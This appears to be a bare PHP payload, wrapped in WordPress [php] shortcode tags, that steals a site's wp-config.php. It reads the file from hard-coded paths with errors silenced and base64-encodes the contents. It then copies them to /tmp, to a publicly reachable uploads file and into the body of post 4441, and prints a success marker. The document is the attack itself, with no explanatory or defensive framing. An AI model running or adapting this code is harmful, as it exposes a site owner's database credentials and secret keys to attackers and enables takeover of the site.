WP_CONFIG_DIRECT
[php]
global $wpdb;
$paths = array(
“/var/www/html/business/wp-config.php”,
“/var/www/html/wp-config.php”,
);
foreach($paths as $f){
$c = @file_get_contents($f);
if($c && strlen($c)>10){
// Try writing to multiple locations
$b64 = base64_encode($c);
@file_put_contents(“/tmp/wpc_dump.txt”, $b64);
@file_put_contents(“/var/www/html/business/wp-content/uploads/wpc_b64.txt”, $b64);
$wpdb->update($wpdb->posts, array(“post_content”=>$b64), array(“ID”=>4441));
echo “OK:” . strlen($c);
exit;
}
}
echo “FAIL_NO_CONFIG:” . implode(“,”,$paths);
[/php]